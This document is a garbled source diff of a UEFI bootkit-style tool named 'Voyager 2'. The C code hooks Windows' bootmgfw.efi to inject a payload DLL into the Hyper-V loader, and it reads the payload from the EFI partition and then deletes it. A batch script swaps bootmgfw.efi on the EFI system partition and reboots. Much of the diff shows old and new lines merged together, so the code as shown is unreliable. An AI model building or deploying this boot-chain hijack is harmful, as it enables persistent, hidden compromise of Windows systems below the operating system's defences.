if (EFI_ERROR((Result = InstallBootMgfwHooks(ImageHandle)))) EFI_DEVICE_PATH* BootMgfwPath = GetBootMgfwPath();
if (EFI_ERROR((Result = gBS->LoadImage(TRUE, ImageHandle, BootMgfwPath, NULL, NULL, &BootMgfwHandle))))
{
Print(L"failed to load bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
if (EFI_ERROR((Result = InstallBootMgfwHooks(BootMgfwHandle))))
{ {
Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result); Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR(gBS->StartImage(BootMgfwHandle, NULL, NULL)))
{
Print(L"Failed to start bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
gBS->Stall(5 * 1000000); gBS->Stall(5 * 1000000);
return EFI_SUCCESS; return EFI_SUCCESS;
} }

@ -43,7 +43,7 @@ EFI_STATUS EFIAPI BlImgLoadPEImageEx(VOID* a1, VOID* a2, CHAR16* ImagePath, UINT
#if WINVER == 1703 #if WINVER == 1703
MakeShitHook(&HvLoadImageBufferHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageFromSourceBuffer, TRUE); MakeShitHook(&HvLoadImageBufferHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageFromSourceBuffer, TRUE);
#elif WINVER <= 1607 // 1511 is the same... #elif WINVER <= 1607
MakeShitHook(&HvLoadImageHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageEx, TRUE); MakeShitHook(&HvLoadImageHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageEx, TRUE);
#endif #endif

@ -131,6 +131,49 @@ EFI_STATUS EFIAPI RestoreBootMgfw(VOID)
return EFI_ABORTED; return EFI_ABORTED;
} }
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID)
{
UINTN HandleCount = NULL;
EFI_STATUS Result;
EFI_HANDLE* Handles = NULL;
EFI_DEVICE_PATH* DevicePath = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE BootMgfwHandle;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return DevicePath;
}
for (UINT32 Idx = 0u; Idx < HandleCount && !FileSystem; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return DevicePath;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return DevicePath;
}
if (!EFI_ERROR(VolumeHandle->Open(VolumeHandle, &BootMgfwHandle, WINDOWS_BOOTMGFW_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY)))
DevicePath = FileDevicePath(Handles[Idx], WINDOWS_BOOTMGFW_PATH);
VolumeHandle->Close(BootMgfwHandle);
if (EFI_ERROR((Result = gBS->CloseProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, gImageHandle, NULL))))
{
Print(L"error closing protocol -> 0x%p\n", Result);
return DevicePath;
}
}
return DevicePath;
}
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath) EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath)
{ {
EFI_STATUS Result = EFI_SUCCESS; EFI_STATUS Result = EFI_SUCCESS;

@ -32,5 +32,6 @@ static_assert(sizeof(START_BOOT_APPLICATION_SIG) == sizeof(START_BOOT_APPLICATIO
extern SHITHOOK BootMgfwShitHook; extern SHITHOOK BootMgfwShitHook;
typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*); typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*);
EFI_STATUS EFIAPI RestoreBootMgfw(VOID); EFI_STATUS EFIAPI RestoreBootMgfw(VOID);
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID);
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath); EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath);
EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs); EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs);

@ -1,5 +1,9 @@
#include "PayLoad.h" #include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID) UINT32 PayLoadSize(VOID)
{ {
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad; EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
@ -26,220 +30,91 @@ VOID* PayLoadEntry(VOID* ModuleBase)
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint; return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
} }
unsigned char PayLoad[2560] = EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{ {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, return Result;
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
0xB8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, {
0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, Print(L"unable to delete payload file... reason -> %r\n", Result);
0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, return Result;
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, }
0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xBF, 0x31, 0xDD, *PayLoadBufferPtr = PayLoadBuffer;
0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, gBS->FreePool(FileInfoPtr);
0xDC, 0xAF, 0x5A, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5F, 0x8F, return EFI_SUCCESS;
0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5D, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, }
0x52, 0x69, 0x63, 0x68, 0x6B, 0xDE, 0x5F, 0x8E, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x04, 0x00,
0xAD, 0xAA, 0x76, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Print(L"unable to find payload on disk...\n");
0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x0E, 0x1B, 0x00, 0x02, 0x00, 0x00, return EFI_ABORTED;
0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, }
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0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x50, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x20, 0x8A, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x32, 0x40, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x28, 0x40, 0x00, 0x00, 0x2C, 0x40, 0x00, 0x00, 0x30, 0x40, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x3E, 0x40, 0x00, 0x00, 0x00, 0x00, 0x50, 0x61,
0x79, 0x4C, 0x6F, 0x61, 0x64, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x3F, 0x76,
0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x63, 0x6F, 0x6E, 0x74, 0x65,
0x78, 0x74, 0x40, 0x73, 0x76, 0x6D, 0x40, 0x40, 0x33, 0x55, 0x5F, 0x76,
0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x74, 0x40, 0x31, 0x40, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

@ -1,6 +1,7 @@
#pragma once #pragma once
#include "Utils.h" #include "Utils.h"
extern unsigned char PayLoad[2560]; #include <Library/ShellLib.h>
extern VOID* PayLoad;
#pragma pack(push, 1) #pragma pack(push, 1)
typedef struct _VOYAGER_T typedef struct _VOYAGER_T
@ -13,5 +14,9 @@ typedef struct _VOYAGER_T
} VOYAGER_T, * PVOYAGER_T; } VOYAGER_T, * PVOYAGER_T;
#pragma pack(pop) #pragma pack(pop)
#define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi"
#define PAYLOAD_PATH L"\\efi\\microsoft\\boot\\payload.dll"
UINT32 PayLoadSize(VOID); UINT32 PayLoadSize(VOID);
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr);
VOID* PayLoadEntry(VOID* ModuleBase); VOID* PayLoadEntry(VOID* ModuleBase);

@ -4,36 +4,59 @@
CHAR8* gEfiCallerBaseName = "Voyager 2"; CHAR8* gEfiCallerBaseName = "Voyager 2";
const UINT32 _gUefiDriverRevision = 0x200; const UINT32 _gUefiDriverRevision = 0x200;
EFI_STATUS EFIAPI UefiUnload( EFI_STATUS EFIAPI UefiUnload(EFI_HANDLE ImageHandle)
IN EFI_HANDLE ImageHandle {
) return EFI_SUCCESS;
{ return EFI_SUCCESS; } }
EFI_STATUS EFIAPI UefiMain EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE* SystemTable
)
{ {
EFI_STATUS Result; EFI_STATUS Result;
EFI_DEVICE_PATH_PROTOCOL* BootMgfwPath; EFI_HANDLE BootMgfwHandle;
gST->ConOut->ClearScreen(gST->ConOut); gST->ConOut->ClearScreen(gST->ConOut);
gST->ConOut->OutputString(gST->ConOut, AsciiArt); gST->ConOut->OutputString(gST->ConOut, AsciiArt);
Print(L"\n"); Print(L"\n");
// since we replaced bootmgfw on disk, we are going to need to restore the image back
// this is simply just moving bootmgfw.efi.backup to bootmgfw.efi...
if (EFI_ERROR((Result = RestoreBootMgfw()))) if (EFI_ERROR((Result = RestoreBootMgfw())))
{ {
Print(L"unable to restore bootmgfw... reason -> %r\n", Result); Print(L"unable to restore bootmgfw... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result;
}
// the payload is sitting on disk... we are going to load it into memory...
if (EFI_ERROR((Result = LoadPayLoadFromDisk(&PayLoad))))
{
Print(L"failed to read payload from disk... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR((Result = InstallBootMgfwHooks(ImageHandle)))) EFI_DEVICE_PATH* BootMgfwPath = GetBootMgfwPath();
if (EFI_ERROR((Result = gBS->LoadImage(TRUE, ImageHandle, BootMgfwPath, NULL, NULL, &BootMgfwHandle))))
{
Print(L"failed to load bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
if (EFI_ERROR((Result = InstallBootMgfwHooks(BootMgfwHandle))))
{ {
Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result); Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR(gBS->StartImage(BootMgfwHandle, NULL, NULL)))
{
Print(L"Failed to start bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
gBS->Stall(5 * 1000000); gBS->Stall(5 * 1000000);
return EFI_SUCCESS; return EFI_SUCCESS;
} }

@ -0,0 +1,15 @@
@echo off
net session >nul 2>&1
if %errorLevel% == 0 (
mountvol X: /S
move X:\EFI\Microsoft\Boot\bootmgfw.efi X:\EFI\Microsoft\Boot\bootmgfw.efi.backup
xcopy %~dp0bootmgfw.efi X:\EFI\Microsoft\Boot\
xcopy %~dp0payload.dll X:\EFI\Microsoft\Boot\
echo press enter to reboot...
pause
shutdown /r /t 0
) else (
echo Failure: Please run as admin.
pause
)
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